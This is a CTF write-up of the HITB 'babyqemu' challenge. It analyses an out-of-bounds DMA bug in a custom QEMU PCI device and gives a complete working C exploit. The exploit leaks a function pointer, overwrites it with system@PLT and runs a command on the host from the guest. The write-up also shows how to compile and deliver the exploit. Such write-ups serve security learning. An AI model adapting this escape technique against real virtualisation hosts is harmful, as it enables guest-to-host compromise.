Before we start I just want to say that I did not play this ctf and probably wouldn’t have been able to complete this challenge in time even if I did. Me and a couple teammates did this, SCSI and q-escape as exercise and I wanted to document the methods and analysis.

babyqemu.tar.gz

Summary

The challenge incorporates a vulnerable PCI Device which uses DMA and Memory I/O. There is an out-of-bounds bug in one of the DMA handlers allowing us to read and write past the dma_buf buffer on the host.

Analysis

From the command line arguments to start the challenge we see there’s a custom device -device hitb, luckily for us qemu-system-x86_64 is compiled with debugging symbols. If we search for “hitb” in IDA -> View -> Open Subviews -> Local Types we can see the HitbState definition used to manage the hitb device state.

typedef struct HitbState
{
  PCIDevice pdev;
  MemoryRegion mmio;
  QemuThread thread;
  QemuMutex thr_mutex;
  QemuCond thr_cond;
  bool stopping;
  uint32_t addr4;
  uint32_t fact;
  uint32_t status;
  uint32_t irq_status;
  struct _dma_state {
    dma_addr_t src;
    dma_addr_t dst;
    dma_addr_t cnt;
    dma_addr_t cmd;
  } dma_state;
  QEMUTimer dma_timer;
  char dma_buf[4096];
  void (*enc)(char *, unsigned int);
  uint64_t dma_mask;
};

Next, if we head over to the Functions subview in IDA and search for “hitb_” we will find all of the associated functions with the “hitb” device. Initialization starts with xxx_class_init so let’s start from there.

void hitb_class_init(ObjectClass *a1, void *data) {
  pdev = (PCIDeviceClass *)object_class_dynamic_cast_assert(
        a1,
        "pci-device",
        "/mnt/hgfs/eadom/workspcae/projects/hitbctf2017/babyqemu/qemu/hw/misc/hitb.c",
        469,
        "hitb_class_init");
  pdev->revision = 0x10;
  pdev->class_id = 0xFF;
  pdev->realize = (void (*)(HitbState *, Error_0 **))pci_hitb_realize;
  pdev->exit = (PCIUnregisterFunc *)pci_hitb_uninit;
  pdev->vendor_id = 0x1234;
  pdev->device_id = 0x2333;
}

Initially IDA recognizes pdev as ObjectClass (which if this was C++ it would have been the base class), however if we change its type to PCIDeviceClass which it should be after the cast, we will see the properties this PCI device is being registered with and 2 callbacks. Uninit is irrelevant to us as it just cleans up after the device has been unloaded. Moving on to the second callback pci_hitb_realize, this is where the memory for the MMIO is allocated, mmio ops and the thread that performs the DMA.

//memory_region_init_io(MemoryRegion *mr, Object *owner, const MemoryRegionOps *ops, void *opaque, char *name, size_t size)
memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &hitb_mmio_ops, pdev, "hitb-mmio", 0x100000uLL);

Moving on to mmio ops we have hitb_mmio_read which can get us any relevant HitbState properties. hitb_mmio_write changes the state of the device and sends commands to the DMA thread. I will condense the functionality of it to the relevant commands.

When analyzing Hitb handlers such as the mmio ops, realize and the DMA thread don’t forget to change the declaration of the handler’s arguments from void* opaque to HitbState* hitb

void hitb_mmio_write(HitbState *hitb, hwaddr addr, uint32_t val, unsigned int size) {

    // size needs to be 4
    // addr is the offset being accessed in the mmio
    // make sure we are accessing mmio 4 bytes at a time

    // set low order 4 bytes of DMA src
    if ( addr == 0x80 && !(hitb->dma.cmd & 1) ) {
        hitb->dma.src = val;
    }
    // set high order 4 bytes of DMA src
    else if ( addr == 0x84 && !(hitb->dma.cmd & 1) ) {
        *(dma_addr_t *)((char *)&hitb->dma.src + 4) = val;
    }
    // set low order 4 bytes of DMA dst
    else if ( addr == 0x88 && !(hitb->dma.cmd & 1) ) {
        hitb->dma.dst = val;
    }
    // set high order 4 bytes of DMA dst
    else if ( addr == 0x8C && !(hitb->dma.cmd & 1) ) {
        *(dma_addr_t *)((char *)&hitb->dma.dst + 4) = val;
    }
    // set DMA transfer size
    else if ( addr == 0x90 !(hitb->dma.cmd & 1) ) {
        hitb->dma.cnt = val;
    }
    // set command for DMA Thread - send/recv/enc
    else if ( addr == 0x98 && val & 1 && !(hitb->dma.cmd & 1) ) {
        hitb->dma.cmd = val;
    }
}

Finally we just need to analyze the hitb_dma_timer to understand how memory transfer via DMA is handled.

void hitb_dma_timer(HitbState *hitb) {

    if ( hitb->dma.cmd & 2 && hitb->dma.cmd & 1 ) {
        offset = (unsigned int)(hitb->dma.src - 0x40000);
        // oob bug here
        uint8_t* addr = &hitb->dma_buf[offset];

        if ( hitb->dma.cmd & 4 ) {
            hitb->enc(addr, hitb->dma.cnt);
        }

        //cpu_physical_memory_rw(hwaddr addr, uint8_t *buf, int len, int is_write)
        cpu_physical_memory_rw(hitb->dma.dst, addr, hitb->dma.cnt, 1);
    }
    else if ( hitb->dma.cmd & 1 ) {

        offset = (unsigned int)(hitb->dma.dst - 0x40000);
        // oob bug here
        uint8_t* addr = &hitb->dma_buf[offset];

        //cpu_physical_memory_rw(hwaddr addr, uint8_t *buf, int len, int is_write)
        cpu_physical_memory_rw(hitb->dma.src, addr, hitb->dma.cnt, 0);
        
        if ( hitb->dma.cmd & 4 ) {
            hitb->enc(addr, hitb->dma.cnt);
        }
    }
}

The only thing left to figure out is where the mmio is actually mapped. For that we need to first identify the PCI Device in the system with lspci

# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2333 # << properties from realize callback
# cat /proc/iomem
...
04000000-febfffff : PCI Bus 0000:00
  fd000000-fdffffff : 0000:00:02.0
  fea00000-feafffff : 0000:00:04.0 # << Device 04, MMIO 0xfea00000, size 0x100000
  feb00000-feb3ffff : 0000:00:03.0
  feb40000-feb5ffff : 0000:00:03.0
...
# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fea00000 0x00000000feafffff 0x0000000000040200 # << Also matches
0x0000000000000000 0x0000000000000000 0x0000000000000000
...
# ls -la /sys/devices/pci0000\:00/0000\:00\:04.0/
...
-r--r--r--    1 root     root          4096 Nov 23 19:24 resource
-rw-------    1 root     root       1048576 Nov 23 19:24 resource0 # << Size matches
...

To interact with the mmio, we have 2 options (that I know of). Using the sysfs by mmap-ing the resource0 file like pcimem does or we could use the /dev/mem device which represents the physical memory of the system. Since I’ve done it before with pcimem, this time I will use /dev/mem. /dev/mem addresses are interpreted as physical memory to access the mmio we need to open and mmap /dev/mem at offset 0xfea00000 and size 0x100000.

Exploitation

cpu_physical_memory_rw(hwaddr addr, uint8_t *buf, int len, int is_write) provides us with arbitrary read and write. Whenever the is_write parameter is set the function will write into the physical address (PA) addr from source virtual address (VA) buf. Whenever is_write is unset the functionality will be reversed and buf VA will be the destination with the PA addr as source. With no boundary checks of VA buf in hitb_dma_timer let’s see what we can access.

gdb-peda$ p *(HitbState*)0x5555587575f0
$4 = {
  pdev = {
      ...
  },
  ...
  dma_buf = '\000' <repeats 4095 times>,
  enc = 0x5555557d7dd0 <hitb_enc>,
  dma_mask = 0xfffffff
}
gdb-peda$ x/1000gx (*(HitbState*)0x5555587575f0)->dma_buf
0x5555587581a8:	0x0000000000000000	0x0000000000000000
... 0x1000 bytes of dma_buf
0x5555587591a8:	0x00005555557d7dd0	0x000000000fffffff
0x5555587591b8:	0x0000000000000000	0x0000000000000000
0x5555587591c8:	0x0000000000000051	0x0000555558757380
0x5555587591d8:	0x00005555587575a0	0x0000000000000000

Thanks to the symbols we can see that the hitb_enc function pointer is right after the dma_buf, our goal is to leak that pointer and overwrite it with the address of system@PLT this way we can call system on the host with our controlled arguments from the guest.

To resolve VA to PA from user-land we can use /proc/self/pagemap with the following function.

#define PAGEMAP_LENGTH sizeof( size_t )

size_t virt_to_phys( void* addr )
{
    int fd = open( "/proc/self/pagemap", O_RDONLY );

    size_t offset = (size_t)addr / getpagesize() * PAGEMAP_LENGTH;
    lseek( fd, offset, SEEK_SET );

    size_t page_frame_number = 0;
    read( fd, &page_frame_number, PAGEMAP_LENGTH );

    page_frame_number &= 0x7FFFFFFFFFFFFF;

    close( fd );

    return ( page_frame_number << 12 ) | ( (size_t)addr & 0xfff );
}

Exploit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>

#define PAGEMAP_LENGTH sizeof( size_t )
#define COPY_FROM_PA 1
#define COPY_TO_PA 1 | 2
#define HITB_ENC 4

unsigned int mmio_addr = 0xfea00000;
unsigned int mmio_size = 0x100000;
char* mmio = 0;

void* devmap( size_t offset )
{
    int fd = open( "/dev/mem", O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        perror( "open /dev/mem" );
        return 0;
    }

    void* result = mmap( NULL, mmio_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, mmio_addr );

    if ( !result ) {
        perror( "mmap" );
    }

    close( fd );
    return result;
}

int test( void )
{
    return *(int*)&mmio[0];
}

void set_dma_src( int val )
{
    *(int*)&mmio[0x80] = val;
}

void set_dma_dst( int val )
{
    *(int*)&mmio[0x88] = val;
}

void set_dma_cnt( int val )
{
    *(int*)&mmio[0x90] = val;
}

void set_dma_cmd( int val )
{
    *(int*)&mmio[0x98] = val;
}

int get_dma_cmd( void )
{
    return *(int*)&mmio[0x98];
}

size_t virt_to_phys( void* addr )
{
    int fd = open( "/proc/self/pagemap", O_RDONLY );

    size_t offset = (size_t)addr / getpagesize() * PAGEMAP_LENGTH;
    lseek( fd, offset, SEEK_SET );

    size_t page_frame_number = 0;
    read( fd, &page_frame_number, PAGEMAP_LENGTH );

    page_frame_number &= 0x7FFFFFFFFFFFFF;
    // mask off the 12 most significant bits because they
    // are used for flags
 
    close( fd );

    return ( page_frame_number << 12 ) | ( (size_t)addr & 0xfff );
}

int main( void )
{
    mmio = devmap( mmio_addr );
    if ( !mmio ) {
        return 0;
    }

    // Allocate a buffer to use for physical memory access as tmp space
    size_t* va = mmap( NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0 );

    // Force access to it so the CPU allocs physical memory for it
    memset( va, 0xcc, 0x1000 );
    printf( "va: %p\n", (void*)va );

    // Get the physical address from /proc/self/pagemap
    size_t phys_dst = virt_to_phys( va );
    printf( "pa: %p\n", (void*)phys_dst );

    // Copy the hitb_enc function pointer to our allocated memory
    // using cpu_physical_memory_rw(dma.src, &hitb_enc, is_read)
    // this way we are using the above function as copy from VA to PA
    set_dma_cnt( 8 );
    set_dma_src( 0x40000 + 0x1000 ); // hitb_enc pointer offset
    set_dma_dst( phys_dst );
    set_dma_cmd( COPY_TO_PA );

    // Sleep is requires so we don't race the DMA thread
    do {
        sleep( 1 );
    } while ( get_dma_cmd() & 1 );

    // Informational leak for qemu-system-x64 base load address
    va[0] -= 0x283dd0;
    printf( "QEMU ELF BASE: %p\n", *(void**)va );

    // Calc offset to qemu-system-x64 PLT entry for system
    va[0] += 0x1fdb18;

    // Overwrite hitb_enc with system in PLT
    // using cpu_physical_memory_rw(dma.src, &hitb_enc, is_write)
    // this way we are using the above function the reverse way copying from PA to VA
    set_dma_cnt( 8 );
    set_dma_src( phys_dst );
    set_dma_dst( 0x40000 + 0x1000 );
    set_dma_cmd( COPY_FROM_PA );

    // Sleep to wait the DMA thread
    do {
        sleep( 1 );
    } while ( get_dma_cmd() & 1 );

    // Copy the string for system in dma_buf[]
    // hitb_enc takes the dma_buf[] ptr
    puts( "Copying command" );
    char cmd[] = "cat flag";
    strcpy( (char*)va, cmd );
    set_dma_cnt( sizeof( cmd ) );
    set_dma_src( phys_dst );
    set_dma_dst( 0x40000 );
    set_dma_cmd( COPY_FROM_PA );

    // Wait for the DMA to finish again
    do {
        sleep( 1 );
    } while ( get_dma_cmd() & 1 );

    // call hitb_enc(hitb_buf)
    set_dma_src( 0x40000 );
    set_dma_cmd( COPY_TO_PA | HITB_ENC );

    munmap( va, 0x1000 );
    munmap( mmio, mmio_size );
    return 0;
}

If we have to imagine a scenario where we have to deliver our exploit to the server and there’s no compiler there, we would have to transfer a statically compiled version of our exploit. To reduce the size to a minimum we can use musl-gcc, optimize for size, and strip the symbols. We can reduce the size even further if we change the libc API to direct syscalls (per vakzz’s suggestion).

[babyqemu] gcc      -static -s -Os -o exploit exploit.c 
[babyqemu] musl-gcc -static -s -Os -o exploit-min exploit.c
[babyqemu] ls -la exploit*
-rwxr-xr-x 1 vagrant vagrant 778488 Nov 24 03:10 exploit
-rwxr-xr-x 1 vagrant vagrant  26112 Nov 24 03:10 exploit-min
-rw-r--r-- 1 vagrant vagrant   3726 Nov 24 03:08 exploit.c

To deliver the exploit locally we only need to append the file to the file system (the cpio archive).

[babyqemu] echo exploit-min | cpio -A -H newc -ov -F rootfs.cpio
exploit-min
52 blocks
Welcome to HITB
HITB login: root
# /exploit-min
va: 0x7f3657298000
pa: 0x20ef000
QEMU ELF BASE: 0x55a7d4645000
Copying command
# flagflagflag===FLAGFLAGFLAG

#